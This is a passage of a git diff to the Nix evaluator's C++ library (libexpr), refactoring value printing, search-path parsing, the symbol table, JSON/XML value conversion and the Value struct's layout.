(v.isPrimOp()) { + if (v.primOp()) + output << *v.primOp(); + else + output << "primop"; + } else if (v.isPrimOpApp()) { + output << "partially applied "; + auto primOp = v.primOpAppPrimOp(); + if (primOp) + output << *primOp; + else + output << "primop"; + } else { + unreachable(); + } + + output << "»"; + if (options.ansiColors) + output << ANSI_NORMAL; + } + + void printThunk(Value & v) + { + if (v.isBlackhole()) { + // Although we know for sure that it's going to be an infinite recursion + // when this value is accessed _in the current context_, it's likely + // that the user will misinterpret a simpler «infinite recursion» output + // as a definitive statement about the value, while in fact it may be + // a valid value after `builtins.trace` and perhaps some other steps + // have completed. + if (options.ansiColors) + output << ANSI_RED; + output << "«potential infinite recursion»"; + if (options.ansiColors) + output << ANSI_NORMAL; + } else if (v.isThunk() || v.isApp()) { + if (options.ansiColors) + output << ANSI_MAGENTA; + output << "«thunk»"; + if (options.ansiColors) + output << ANSI_NORMAL; + } else { + unreachable(); + } + } + + void printExternal(Value & v) + { + v.external()->print(output); + } + + void printUnknown() + { + if (options.ansiColors) + output << ANSI_RED; + output << "«unknown»"; + if (options.ansiColors) + output << ANSI_NORMAL; + } + + void printError_(Error & e) + { + if (options.ansiColors) + output << ANSI_RED; + output << "«error: " << filterANSIEscapes(e.info().msg.str(), true) << "»"; + if (options.ansiColors) + output << ANSI_NORMAL; + } + + void print(Value & v, size_t depth) + { + output.flush(); + checkInterrupt(); + + try { + if (options.force) { + state.forceValue(v, v.determinePos(noPos)); + } + + switch (v.type()) { + + case nInt: + printInt(v); + break; + + case nFloat: + printFloat(v); + break; + + case nBool: + printBool(v); + break; + + case nString: + printString(v); + break; + + case nPath: + printPath(v); + break; + + case nNull: + printNull(); + break; + + case nAttrs: + printAttrs(v, depth); + break; + + case nList: + printList(v, depth); + break; + + case nFunction: + printFunction(v); + break; + + case nThunk: + printThunk(v); + break; + + case nExternal: + printExternal(v); + break; + + default: + printUnknown(); + break; + } + } catch (Error & e) { + if (options.errors == ErrorPrintBehavior::Throw + || (options.errors == ErrorPrintBehavior::ThrowTopLevel + && depth == 0)) { + throw; + } + printError_(e); + } + } + +public: + Printer(std::ostream & output, EvalState & state, PrintOptions options) + : output(output), state(state), options(options) { } + + void print(Value & v) + { + totalAttrsPrinted = 0; + totalListItemsPrinted = 0; + indent.clear(); + + if (options.trackRepeated) { + seen.emplace(); + } else { + seen.reset(); + } + + ValuesSeen seen; + print(v, 0); + } +}; + +void printValue(EvalState & state, std::ostream & output, Value & v, PrintOptions options) +{ + Printer(output, state, options).print(v); +} + +std::ostream & operator<<(std::ostream & output, const ValuePrinter & printer) +{ + printValue(printer.state, output, printer.value, printer.options); + return output; +} + +template<> +HintFmt & HintFmt::operator%(const ValuePrinter & value) +{ + fmt % value; + return *this; +} + +} diff --git a/src/libexpr/print.hh b/src/libexpr/print.hh new file mode 100644 index 000000000..7ddda81b8 --- /dev/null +++ b/src/libexpr/print.hh @@ -0,0 +1,91 @@ +#pragma once +/** + * @file + * @brief Common printing functions for the Nix language + * + * While most types come with their own methods for printing, they share some + * functions that are placed here. + */ + +#include + +#include "fmt.hh" +#include "print-options.hh" + +namespace nix { + +class EvalState; +struct Value; + +/** + * Print a string as a Nix string literal. + * + * Quotes and fairly minimal escaping are added. + * + * @param o The output stream to print to + * @param s The logical string + */ +std::ostream & printLiteralString(std::ostream & o, std::string_view s); +inline std::ostream & printLiteralString(std::ostream & o, const char * s) { + return printLiteralString(o, std::string_view(s)); +} +inline std::ostream & printLiteralString(std::ostream & o, const std::string & s) { + return printLiteralString(o, std::string_view(s)); +} + +/** Print `true` or `false`. */ +std::ostream & printLiteralBool(std::ostream & o, bool b); + +/** + * Print a string as an attribute name in the Nix expression language syntax. + * + * Prints a quoted string if necessary. + */ +std::ostream & printAttributeName(std::ostream & o, std::string_view s); + +/** + * Returns `true' is a string is a reserved keyword which requires quotation + * when printing attribute set field names. + */ +bool isReservedKeyword(const std::string_view str); + +/** + * Print a string as an identifier in the Nix expression language syntax. + * + * FIXME: "identifier" is ambiguous. Identifiers do not have a single + * textual representation. They can be used in variable references, + * let bindings, left-hand sides or attribute names in a select + * expression, or something else entirely, like JSON. Use one of the + * `print*` functions instead. + */ +std::ostream & printIdentifier(std::ostream & o, std::string_view s); + +void printValue(EvalState & state, std::ostream & str, Value & v, PrintOptions options = PrintOptions {}); + +/** + * A partially-applied form of `printValue` which can be formatted using `<<` + * without allocating an intermediate string. + */ +class ValuePrinter { + friend std::ostream & operator << (std::ostream & output, const ValuePrinter & printer); +private: + EvalState & state; + Value & value; + PrintOptions options; + +public: + ValuePrinter(EvalState & state, Value & value, PrintOptions options = PrintOptions {}) + : state(state), value(value), options(options) { } +}; + +std::ostream & operator<<(std::ostream & output, const ValuePrinter & printer); + + +/** + * `ValuePrinter` does its own ANSI formatting, so we don't color it + * magenta. + */ +template<> +HintFmt & HintFmt::operator%(const ValuePrinter & value); + +} diff --git a/src/libexpr/repl-exit-status.hh b/src/libexpr/repl-exit-status.hh new file mode 100644 index 000000000..08299ff61 --- /dev/null +++ b/src/libexpr/repl-exit-status.hh @@ -0,0 +1,20 @@ +#pragma once + +namespace nix { + +/** + * Exit status returned from the REPL. + */ +enum class ReplExitStatus { + /** + * The user exited with `:quit`. The program (e.g., if the REPL was acting + * as the debugger) should exit. + */ + QuitAll, + /** + * The user exited with `:continue`. The program should continue running. + */ + Continue, +}; + +} diff --git a/src/libexpr/search-path.cc b/src/libexpr/search-path.cc new file mode 100644 index 000000000..657744e74 --- /dev/null +++ b/src/libexpr/search-path.cc @@ -0,0 +1,55 @@ +#include "search-path.hh" + +namespace nix { + +std::optional LookupPath::Prefix::suffixIfPotentialMatch( + std::string_view path) const +{ + auto n = s.size(); + + /* Non-empty prefix and suffix must be separated by a /, or the + prefix is not a valid path prefix. */ + bool needSeparator = n > 0 && n < path.size(); + + if (needSeparator && path[n] != '/') { + return std::nullopt; + } + + /* Prefix must be prefix of this path. */ + if (path.compare(0, n, s) != 0) { + return std::nullopt; + } + + /* Skip next path separator. */ + return { + path.substr(needSeparator ? n + 1 : n) + }; +} + + +LookupPath::Elem LookupPath::Elem::parse(std::string_view rawElem) +{ + size_t pos = rawElem.find('='); + + return LookupPath::Elem { + .prefix = Prefix { + .s = pos == std::string::npos + ? std::string { "" } + : std::string { rawElem.substr(0, pos) }, + }, + .path = Path { + .s = std::string { rawElem.substr(pos + 1) }, + }, + }; +} + + +LookupPath LookupPath::parse(const Strings & rawElems) +{ + LookupPath res; + for (auto & rawElem : rawElems) + res.elements.emplace_back(LookupPath::Elem::parse(rawElem)); + return res; +} + +} diff --git a/src/libexpr/search-path.hh b/src/libexpr/search-path.hh new file mode 100644 index 000000000..acd843638 --- /dev/null +++ b/src/libexpr/search-path.hh @@ -0,0 +1,108 @@ +#pragma once +///@file + +#include + +#include "types.hh" +#include "comparator.hh" + +namespace nix { + +/** + * A "search path" is a list of ways look for something, used with + * `builtins.findFile` and `< >` lookup expressions. + */ +struct LookupPath +{ + /** + * A single element of a `LookupPath`. + * + * Each element is tried in succession when looking up a path. The first + * element to completely match wins. + */ + struct Elem; + + /** + * The first part of a `LookupPath::Elem` pair. + * + * Called a "prefix" because it takes the form of a prefix of a file + * path (first `n` path components). When looking up a path, to use + * a `LookupPath::Elem`, its `Prefix` must match the path. + */ + struct Prefix; + + /** + * The second part of a `LookupPath::Elem` pair. + * + * It is either a path or a URL (with certain restrictions / extra + * structure). + * + * If the prefix of the path we are looking up matches, we then + * check if the rest of the path points to something that exists + * within the directory denoted by this. If so, the + * `LookupPath::Elem` as a whole matches, and that *something* being + * pointed to by the rest of the path we are looking up is the + * result. + */ + struct Path; + + /** + * The list of search path elements. Each one is checked for a path + * when looking up. (The actual lookup entry point is in `EvalState` + * not in this class.) + */ + std::list elements; + + /** + * Parse a string into a `LookupPath` + */ + static LookupPath parse(const Strings & rawElems); +}; + +struct LookupPath::Prefix +{ + /** + * Underlying string + * + * @todo Should we normalize this when constructing a `LookupPath::Prefix`? + */ + std::string s; + + GENERATE_CMP(LookupPath::Prefix, me->s); + + /** + * If the path possibly matches this search path element, return the + * suffix that we should look for inside the resolved value of the + * element + * Note the double optionality in the name. While we might have a matching prefix, the suffix may not exist. + */ + std::optional suffixIfPotentialMatch(std::string_view path) const; +}; + +struct LookupPath::Path +{ + /** + * The location of a search path item, as a path or URL. + * + * @todo Maybe change this to `std::variant`. + */ + std::string s; + + GENERATE_CMP(LookupPath::Path, me->s); +}; + +struct LookupPath::Elem +{ + + Prefix prefix; + Path path; + + GENERATE_CMP(LookupPath::Elem, me->prefix, me->path); + + /** + * Parse a string into a `LookupPath::Elem` + */ + static LookupPath::Elem parse(std::string_view rawElem); +}; + +} diff --git a/src/libexpr/symbol-table.hh b/src/libexpr/symbol-table.hh index 288c15602..be12f6248 100644 --- a/src/libexpr/symbol-table.hh +++ b/src/libexpr/symbol-table.hh @@ -1,4 +1,5 @@ #pragma once +///@file #include #include @@ -6,18 +7,15 @@ #include "types.hh" #include "chunked-vector.hh" +#include "error.hh" namespace nix { -/* Symbol table used by the parser and evaluator to represent and look - up identifiers and attributes efficiently. SymbolTable::create() - converts a string into a symbol. Symbols have the property that - they can be compared efficiently (using an equality test), - because the symbol table stores only one copy of each string. */ - -/* This class mainly exists to give us an operator<< for ostreams. We could also - return plain strings from SymbolTable, but then we'd have to wrap every - instance of a symbol that is fmt()ed, which is inconvenient and error-prone. */ +/** + * This class mainly exists to give us an operator<< for ostreams. We could also + * return plain strings from SymbolTable, but then we'd have to wrap every + * instance of a symbol that is fmt()ed, which is inconvenient and error-prone. + */ class SymbolStr { friend class SymbolTable; @@ -33,9 +31,9 @@ public: return *s == s2; } - operator const std::string & () const + const char * c_str() const { - return *s; + return s->c_str(); } operator const std::string_view () const @@ -44,8 +42,18 @@ public: } friend std::ostream & operator <<(std::ostream & os, const SymbolStr & symbol); + + bool empty() const + { + return s->empty(); + } }; +/** + * Symbols have the property that they can be compared efficiently + * (using an equality test), because the symbol table stores only one + * copy of each string. + */ class Symbol { friend class SymbolTable; @@ -60,11 +68,16 @@ public: explicit operator bool() const { return id > 0; } - bool operator<(const Symbol other) const { return id < other.id; } + auto operator<=>(const Symbol other) const { return id <=> other.id; } bool operator==(const Symbol other) const { return id == other.id; } - bool operator!=(const Symbol other) const { return id != other.id; } + + friend class std::hash; }; +/** + * Symbol table used by the parser and evaluator to represent and look + * up identifiers and attributes efficiently. + */ class SymbolTable { private: @@ -73,6 +86,9 @@ private: public: + /** + * converts a string into a symbol. + */ Symbol create(std::string_view s) { // Most symbols are looked up more than once, so we trade off insertion performance @@ -100,7 +116,7 @@ public: SymbolStr operator[](Symbol s) const { if (s.id == 0 || s.id > store.size()) - abort(); + unreachable(); return SymbolStr(store[s.id - 1]); } @@ -119,3 +135,12 @@ public: }; } + +template<> +struct std::hash +{ + std::size_t operator()(const nix::Symbol & s) const noexcept + { + return std::hash{}(s.id); + } +}; diff --git a/src/libexpr/tests/local.mk b/src/libexpr/tests/local.mk deleted file mode 100644 index b95980cab..000000000 --- a/src/libexpr/tests/local.mk +++ /dev/null @@ -1,15 +0,0 @@ -check: libexpr-tests_RUN - -programs += libexpr-tests - -libexpr-tests_DIR := $(d) - -libexpr-tests_INSTALL_DIR := - -libexpr-tests_SOURCES := $(wildcard $(d)/*.cc) - -libexpr-tests_CXXFLAGS += -I src/libexpr -I src/libutil -I src/libstore -I src/libexpr/tests - -libexpr-tests_LIBS = libexpr libutil libstore libfetchers - -libexpr-tests_LDFLAGS := $(GTEST_LIBS) -lgmock diff --git a/src/libexpr/value-to-json.cc b/src/libexpr/value-to-json.cc index 5dc453b2e..8044fe347 100644 --- a/src/libexpr/value-to-json.cc +++ b/src/libexpr/value-to-json.cc @@ -1,6 +1,7 @@ #include "value-to-json.hh" #include "eval-inline.hh" -#include "util.hh" +#include "store-api.hh" +#include "signals.hh" #include #include @@ -10,7 +11,7 @@ namespace nix { using json = nlohmann::json; json printValueAsJSON(EvalState & state, bool strict, - Value & v, const PosIdx pos, PathSet & context, bool copyToStore) + Value & v, const PosIdx pos, NixStringContext & context, bool copyToStore) { checkInterrupt(); @@ -21,26 +22,28 @@ json printValueAsJSON(EvalState & state, bool strict, switch (v.type()) { case nInt: - out = v.integer; + out = v.integer().value; break; case nBool: - out = v.boolean; + out = v.boolean(); break; case nString: copyContext(v, context); - out = v.string.s; + out = v.c_str(); break; case nPath: if (copyToStore) - out = state.copyPathToStore(context, v.path); + out = state.store->printStorePath( + state.copyPathToStore(context, v.path())); else - out = v.path; + out = v.path().path.abs(); break; case nNull: + // already initialized as null break; case nAttrs: { @@ -49,59 +52,70 @@ json printValueAsJSON(EvalState & state, bool strict, out = *maybeString; break; } - auto i = v.attrs->find(state.sOutPath); - if (i == v.attrs->end()) { - out = json::object(); - StringSet names; - for (auto & j : *v.attrs) - names.emplace(state.symbols[j.name]); - for (auto & j : names) { - Attr & a(*v.attrs->find(state.symbols.create(j))); - out[j] = printValueAsJSON(state, strict, *a.value, a.pos, context, copyToStore); - } - } else + if (auto i = v.attrs()->get(state.sOutPath)) return printValueAsJSON(state, strict, *i->value, i->pos, context, copyToStore); + else { + out = json::object(); + for (auto & a : v.attrs()->lexicographicOrder(state.symbols)) { + try { + out.emplace(state.symbols[a->name], printValueAsJSON(state, strict, *a->value, a->pos, context, copyToStore)); + } catch (Error & e) { + e.addTrace(state.positions[a->pos], + HintFmt("while evaluating attribute '%1%'", state.symbols[a->name])); + throw; + } + } + } break; } case nList: { out = json::array(); - for (auto elem : v.listItems()) - out.push_back(printValueAsJSON(state, strict, *elem, pos, context, copyToStore)); + int i = 0; + for (auto elem : v.listItems()) { + try { + out.push_back(printValueAsJSON(state, strict, *elem, pos, context, copyToStore)); + } catch (Error & e) { + e.addTrace(state.positions[pos], + HintFmt("while evaluating list element at index %1%", i)); + throw; + } + i++; + } break; } case nExternal: - return v.external->printValueAsJSON(state, strict, context, copyToStore); + return v.external()->printValueAsJSON(state, strict, context, copyToStore); break; case nFloat: - out = v.fpoint; + out = v.fpoint(); break; case nThunk: case nFunction: - auto e = TypeError({ - .msg = hintfmt("cannot convert %1% to JSON", showType(v)), - .errPos = state.positions[v.determinePos(pos)] - }); - e.addTrace(state.positions[pos], hintfmt("message for the trace")); - state.debugThrowLastTrace(e); - throw e; + state.error( + "cannot convert %1% to JSON", + showType(v) + ) + .atPos(v.determinePos(pos)) + .debugThrow(); } return out; } void printValueAsJSON(EvalState & state, bool strict, - Value & v, const PosIdx pos, std::ostream & str, PathSet & context, bool copyToStore) + Value & v, const PosIdx pos, std::ostream & str, NixStringContext & context, bool copyToStore) { str << printValueAsJSON(state, strict, v, pos, context, copyToStore); } json ExternalValueBase::printValueAsJSON(EvalState & state, bool strict, - PathSet & context, bool copyToStore) const + NixStringContext & context, bool copyToStore) const { - state.debugThrowLastTrace(TypeError("cannot convert %1% to JSON", showType())); + state.error("cannot convert %1% to JSON", showType()) + .debugThrow(); } diff --git a/src/libexpr/value-to-json.hh b/src/libexpr/value-to-json.hh index 22f26b790..47ac90313 100644 --- a/src/libexpr/value-to-json.hh +++ b/src/libexpr/value-to-json.hh @@ -1,4 +1,5 @@ #pragma once +///@file #include "nixexpr.hh" #include "eval.hh" @@ -10,9 +11,9 @@ namespace nix { nlohmann::json printValueAsJSON(EvalState & state, bool strict, - Value & v, const PosIdx pos, PathSet & context, bool copyToStore = true); + Value & v, const PosIdx pos, NixStringContext & context, bool copyToStore = true); void printValueAsJSON(EvalState & state, bool strict, - Value & v, const PosIdx pos, std::ostream & str, PathSet & context, bool copyToStore = true); + Value & v, const PosIdx pos, std::ostream & str, NixStringContext & context, bool copyToStore = true); } diff --git a/src/libexpr/value-to-xml.cc b/src/libexpr/value-to-xml.cc index 3f6222768..9734ebec4 100644 --- a/src/libexpr/value-to-xml.cc +++ b/src/libexpr/value-to-xml.cc @@ -1,7 +1,7 @@ #include "value-to-xml.hh" #include "xml-writer.hh" #include "eval-inline.hh" -#include "util.hh" +#include "signals.hh" #include @@ -9,7 +9,7 @@ namespace nix { -static XMLAttrs singletonAttrs(const std::string & name, const std::string & value) +static XMLAttrs singletonAttrs(const std::string & name, std::string_view value) { XMLAttrs attrs; attrs[name] = value; @@ -18,43 +18,38 @@ static XMLAttrs singletonAttrs(const std::string & name, const std::string & val static void printValueAsXML(EvalState & state, bool strict, bool location, - Value & v, XMLWriter & doc, PathSet & context, PathSet & drvsSeen, + Value & v, XMLWriter & doc, NixStringContext & context, PathSet & drvsSeen, const PosIdx pos); static void posToXML(EvalState & state, XMLAttrs & xmlAttrs, const Pos & pos) { - if (auto path = std::get_if(&pos.origin)) - xmlAttrs["path"] = *path; - xmlAttrs["line"] = (format("%1%") % pos.line).str(); - xmlAttrs["column"] = (format("%1%") % pos.column).str(); + if (auto path = std::get_if(&pos.origin)) + xmlAttrs["path"] = path->path.abs(); + xmlAttrs["line"] = fmt("%1%", pos.line); + xmlAttrs["column"] = fmt("%1%", pos.column); } static void showAttrs(EvalState & state, bool strict, bool location, - Bindings & attrs, XMLWriter & doc, PathSet & context, PathSet & drvsSeen) + const Bindings & attrs, XMLWriter & doc, NixStringContext & context, PathSet & drvsSeen) { StringSet names; - for (auto & i : attrs) - names.emplace(state.symbols[i.name]); - - for (auto & i : names) { - Attr & a(*attrs.find(state.symbols.create(i))); - + for (auto & a : attrs.lexicographicOrder(state.symbols)) { XMLAttrs xmlAttrs; - xmlAttrs["name"] = i; - if (location && a.pos) posToXML(state, xmlAttrs, state.positions[a.pos]); + xmlAttrs["name"] = state.symbols[a->name]; + if (location && a->pos) posToXML(state, xmlAttrs, state.positions[a->pos]); XMLOpenElement _(doc, "attr", xmlAttrs); printValueAsXML(state, strict, location, - *a.value, doc, context, drvsSeen, a.pos); + *a->value, doc, context, drvsSeen, a->pos); } } static void printValueAsXML(EvalState & state, bool strict, bool location, - Value & v, XMLWriter & doc, PathSet & context, PathSet & drvsSeen, + Value & v, XMLWriter & doc, NixStringContext & context, PathSet & drvsSeen, const PosIdx pos) { checkInterrupt(); @@ -64,21 +59,21 @@ static void printValueAsXML(EvalState & state, bool strict, bool location, switch (v.type()) { case nInt: - doc.writeEmptyElement("int", singletonAttrs("value", (format("%1%") % v.integer).str())); + doc.writeEmptyElement("int", singletonAttrs("value", fmt("%1%", v.integer()))); break; case nBool: - doc.writeEmptyElement("bool", singletonAttrs("value", v.boolean ? "true" : "false")); + doc.writeEmptyElement("bool", singletonAttrs("value", v.boolean() ? "true" : "false")); break; case nString: /* !!! show the context? */ copyContext(v, context); - doc.writeEmptyElement("string", singletonAttrs("value", v.string.s)); + doc.writeEmptyElement("string", singletonAttrs("value", v.c_str())); break; case nPath: - doc.writeEmptyElement("path", singletonAttrs("value", v.path)); + doc.writeEmptyElement("path", singletonAttrs("value", v.path().to_string())); break; case nNull: @@ -89,34 +84,30 @@ static void printValueAsXML(EvalState & state, bool strict, bool location, if (state.isDerivation(v)) { XMLAttrs xmlAttrs; - Bindings::iterator a = v.attrs->find(state.symbols.create("derivation")); - Path drvPath; - a = v.attrs->find(state.sDrvPath); - if (a != v.attrs->end()) { + if (auto a = v.attrs()->get(state.sDrvPath)) { if (strict) state.forceValue(*a->value, a->pos); if (a->value->type() == nString) - xmlAttrs["drvPath"] = drvPath = a->value->string.s; + xmlAttrs["drvPath"] = drvPath = a->value->c_str(); } - a = v.attrs->find(state.sOutPath); - if (a != v.attrs->end()) { + if (auto a = v.attrs()->get(state.sOutPath)) { if (strict) state.forceValue(*a->value, a->pos); if (a->value->type() == nString) - xmlAttrs["outPath"] = a->value->string.s; + xmlAttrs["outPath"] = a->value->c_str(); } XMLOpenElement _(doc, "derivation", xmlAttrs); if (drvPath != "" && drvsSeen.insert(drvPath).second) - showAttrs(state, strict, location, *v.attrs, doc, context, drvsSeen); + showAttrs(state, strict, location, *v.attrs(), doc, context, drvsSeen); else doc.writeEmptyElement("repeated"); } else { XMLOpenElement _(doc, "attrs"); - showAttrs(state, strict, location, *v.attrs, doc, context, drvsSeen); + showAttrs(state, strict, location, *v.attrs(), doc, context, drvsSeen); } break; @@ -135,28 +126,28 @@ static void printValueAsXML(EvalState & state, bool strict, bool location, break; } XMLAttrs xmlAttrs; - if (location) posToXML(state, xmlAttrs, state.positions[v.lambda.fun->pos]); + if (location) posToXML(state, xmlAttrs, state.positions[v.payload.lambda.fun->pos]); XMLOpenElement _(doc, "function", xmlAttrs); - if (v.lambda.fun->hasFormals()) { + if (v.payload.lambda.fun->hasFormals()) { XMLAttrs attrs; - if (v.lambda.fun->arg) attrs["name"] = state.symbols[v.lambda.fun->arg]; - if (v.lambda.fun->formals->ellipsis) attrs["ellipsis"] = "1"; + if (v.payload.lambda.fun->arg) attrs["name"] = state.symbols[v.payload.lambda.fun->arg]; + if (v.payload.lambda.fun->formals->ellipsis) attrs["ellipsis"] = "1"; XMLOpenElement _(doc, "attrspat", attrs); - for (auto & i : v.lambda.fun->formals->lexicographicOrder(state.symbols)) + for (auto & i : v.payload.lambda.fun->formals->lexicographicOrder(state.symbols)) doc.writeEmptyElement("attr", singletonAttrs("name", state.symbols[i.name])); } else - doc.writeEmptyElement("varpat", singletonAttrs("name", state.symbols[v.lambda.fun->arg])); + doc.writeEmptyElement("varpat", singletonAttrs("name", state.symbols[v.payload.lambda.fun->arg])); break; } case nExternal: - v.external->printValueAsXML(state, strict, location, doc, context, drvsSeen, pos); + v.external()->printValueAsXML(state, strict, location, doc, context, drvsSeen, pos); break; case nFloat: - doc.writeEmptyElement("float", singletonAttrs("value", (format("%1%") % v.fpoint).str())); + doc.writeEmptyElement("float", singletonAttrs("value", fmt("%1%", v.fpoint()))); break; case nThunk: @@ -166,7 +157,7 @@ static void printValueAsXML(EvalState & state, bool strict, bool location, void ExternalValueBase::printValueAsXML(EvalState & state, bool strict, - bool location, XMLWriter & doc, PathSet & context, PathSet & drvsSeen, + bool location, XMLWriter & doc, NixStringContext & context, PathSet & drvsSeen, const PosIdx pos) const { doc.writeEmptyElement("unevaluated"); @@ -174,7 +165,7 @@ void ExternalValueBase::printValueAsXML(EvalState & state, bool strict, void printValueAsXML(EvalState & state, bool strict, bool location, - Value & v, std::ostream & out, PathSet & context, const PosIdx pos) + Value & v, std::ostream & out, NixStringContext & context, const PosIdx pos) { XMLWriter doc(true, out); XMLOpenElement root(doc, "expr"); diff --git a/src/libexpr/value-to-xml.hh b/src/libexpr/value-to-xml.hh index 506f32b6b..6d702c0f2 100644 --- a/src/libexpr/value-to-xml.hh +++ b/src/libexpr/value-to-xml.hh @@ -1,4 +1,5 @@ #pragma once +///@file #include "nixexpr.hh" #include "eval.hh" @@ -9,6 +10,6 @@ namespace nix { void printValueAsXML(EvalState & state, bool strict, bool location, - Value & v, std::ostream & out, PathSet & context, const PosIdx pos); + Value & v, std::ostream & out, NixStringContext & context, const PosIdx pos); } diff --git a/src/libexpr/value.hh b/src/libexpr/value.hh index 5adac72f8..f68befe0e 100644 --- a/src/libexpr/value.hh +++ b/src/libexpr/value.hh @@ -1,8 +1,14 @@ #pragma once +///@file #include +#include #include "symbol-table.hh" +#include "value/context.hh" +#include "source-path.hh" +#include "print-options.hh" +#include "checked-arithmetic.hh" #if HAVE_BOEHMGC #include @@ -11,10 +17,12 @@ namespace nix { +struct Value; class BindingsBuilder; typedef enum { + tUninitialized = 0, tInt = 1, tBool, tString, @@ -27,16 +35,17 @@ typedef enum { tThunk, tApp, tLambda, - tBlackhole, tPrimOp, tPrimOpApp, tExternal, tFloat } InternalType; -// This type abstracts over all actual value types in the language, -// grouping together implementation details like tList*, different function -// types, and types in non-normal form (so thunks and co.) +/** + * This type abstracts over all actual value types in the language, + * grouping together implementation details like tList*, different function + * types, and types in non-normal form (so thunks and co.) + */ typedef enum { nThunk, nInt, @@ -55,55 +64,67 @@ class Bindings; struct Env; struct Expr; struct ExprLambda; +struct ExprBlackHole; struct PrimOp; class Symbol; class PosIdx; struct Pos; class StorePath; -class Store; class EvalState; class XMLWriter; +class Printer; +using NixInt = checked::Checked; +using NixFloat = double; -typedef int64_t NixInt; -typedef double NixFloat; -typedef std::pair NixStringContextElem; -typedef std::vector NixStringContext; - -/* External values must descend from ExternalValueBase, so that +/** + * External values must descend from ExternalValueBase, so that * type-agnostic nix functions (e.g. showType) can be implemented */ class ExternalValueBase { friend std::ostream & operator << (std::ostream & str, const ExternalValueBase & v); + friend class Printer; protected: - /* Print out the value */ + /** + * Print out the value + */ virtual std::ostream & print(std::ostream & str) const = 0; public: - /* Return a simple string describing the type */ + /** + * Return a simple string describing the type + */ virtual std::string showType() const = 0; - /* Return a string to be used in builtins.typeOf */ + /** + * Return a string to be used in builtins.typeOf + */ virtual std::string typeOf() const = 0; - /* Coerce the value to a string. Defaults to uncoercable, i.e. throws an + /** + * Coerce the value to a string. Defaults to uncoercable, i.e. throws an * error. */ - virtual std::string coerceToString(const Pos & pos, PathSet & context, bool copyMore, bool copyToStore) const; + virtual std::string coerceToString(EvalState & state, const PosIdx & pos, NixStringContext & context, bool copyMore, bool copyToStore) const; - /* Compare to another value of the same type. Defaults to uncomparable, + /** + * Compare to another value of the same type. Defaults to uncomparable, * i.e. always false. */ - virtual bool operator ==(const ExternalValueBase & b) const; + virtual bool operator ==(const ExternalValueBase & b) const noexcept; - /* Print the value as JSON. Defaults to unconvertable, i.e. throws an error */ + /** + * Print the value as JSON. Defaults to unconvertable, i.e. throws an error + */ virtual nlohmann::json printValueAsJSON(EvalState & state, bool strict, - PathSet & context, bool copyToStore = true) const; + NixStringContext & context, bool copyToStore = true) const; - /* Print the value as XML. Defaults to unevaluated */ + /** + * Print the value as XML. Defaults to unevaluated + */ virtual void printValueAsXML(EvalState & state, bool strict, bool location, - XMLWriter & doc, PathSet & context, PathSet & drvsSeen, + XMLWriter & doc, NixStringContext & context, PathSet & drvsSeen, const PosIdx pos) const; virtual ~ExternalValueBase() @@ -114,18 +135,44 @@ class ExternalValueBase std::ostream & operator << (std::ostream & str, const ExternalValueBase & v); +class ListBuilder +{ + const size_t size; + Value * inlineElems[2] = {nullptr, nullptr}; +public: + Value * * elems; + ListBuilder(EvalState & state, size_t size); + + ListBuilder(ListBuilder && x) + : size(x.size) + , inlineElems{x.inlineElems[0], x.inlineElems[1]} + , elems(size <= 2 ? inlineElems : x.elems) + { } + + Value * & operator [](size_t n) + { + return elems[n]; + } + + typedef Value * * iterator; + + iterator begin() { return &elems[0]; } + iterator end() { return &elems[size]; } + + friend struct Value; +}; + + struct Value { private: - InternalType internalType; + InternalType internalType = tUninitialized; friend std::string showType(const Value & v); - void print(const SymbolTable & symbols, std::ostream & str, std::set * seen) const; - public: - void print(const SymbolTable & symbols, std::ostream & str, bool showRepeated = false) const; + void print(EvalState &state, std::ostream &str, PrintOptions options = PrintOptions {}); // Functions needed to distinguish the type // These should be removed eventually, by putting the functionality that's @@ -134,74 +181,96 @@ public: // type() == nThunk inline bool isThunk() const { return internalType == tThunk; }; inline bool isApp() const { return internalType == tApp; }; - inline bool isBlackhole() const { return internalType == tBlackhole; }; + inline bool isBlackhole() const; // type() == nFunction inline bool isLambda() const { return internalType == tLambda; }; inline bool isPrimOp() const { return internalType == tPrimOp; }; inline bool isPrimOpApp() const { return internalType == tPrimOpApp; }; - union + /** + * Strings in the evaluator carry a so-called `context` which + * is a list of strings representing store paths. This is to + * allow users to write things like + * + * "--with-freetype2-library=" + freetype + "/lib" + * + * where `freetype` is a derivation (or a source to be copied + * to the store). If we just concatenated the strings without + * keeping track of the referenced store paths, then if the + * string is used as a derivation attribute, the derivation + * will not have the correct dependencies in its inputDrvs and + * inputSrcs. + + * The semantics of the context is as follows: when a string + * with context C is used as a derivation attribute, then the + * derivations in C will be added to the inputDrvs of the + * derivation, and the other store paths in C will be added to + * the inputSrcs of the derivations. + + * For canonicity, the store paths should be in sorted order. + */ + struct StringWithContext { + const char * c_str; + const char * * context; // must be in sorted order + }; + + struct Path { + SourceAccessor * accessor; + const char * path; + }; + + struct ClosureThunk { + Env * env; + Expr * expr; + }; + + struct FunctionApplicationThunk { + Value * left, * right; + }; + + struct Lambda { + Env * env; + ExprLambda * fun; + }; + + using Payload = union { NixInt integer; bool boolean; - /* Strings in the evaluator carry a so-called `context' which - is a list of strings representing store paths. This is to - allow users to write things like + StringWithContext string; - "--with-freetype2-library=" + freetype + "/lib" + Path path; - where `freetype' is a derivation (or a source to be copied - to the store). If we just concatenated the strings without - keeping track of the referenced store paths, then if the - string is used as a derivation attribute, the derivation - will not have the correct dependencies in its inputDrvs and - inputSrcs. - - The semantics of the context is as follows: when a string - with context C is used as a derivation attribute, then the - derivations in C will be added to the inputDrvs of the - derivation, and the other store paths in C will be added to - the inputSrcs of the derivations. - - For canonicity, the store paths should be in sorted order. */ - struct { - const char * s; - const char * * context; // must be in sorted order - } string; - - const char * path; Bindings * attrs; struct { size_t size; - Value * * elems; + Value * const * elems; } bigList; Value * smallList[2]; - struct { - Env * env; - Expr * expr; - } thunk; - struct { - Value * left, * right; - } app; - struct { - Env * env; - ExprLambda * fun; - } lambda; + ClosureThunk thunk; + FunctionApplicationThunk app; + Lambda lambda; PrimOp * primOp; - struct { - Value * left, * right; - } primOpApp; + FunctionApplicationThunk primOpApp; ExternalValueBase * external; NixFloat fpoint; }; - // Returns the normal type of a Value. This only returns nThunk if the - // Value hasn't been forceValue'd - inline ValueType type() const + Payload payload; + + /** + * Returns the normal type of a Value. This only returns nThunk if + * the Value hasn't been forceValue'd + * + * @param invalidIsThunk Instead of aborting an an invalid (probably + * 0, so uninitialized) internal type, return `nThunk`. + */ + inline ValueType type(bool invalidIsThunk = false) const { switch (internalType) { + case tUninitialized: break; case tInt: return nInt; case tBool: return nBool; case tString: return nString; @@ -212,136 +281,128 @@ 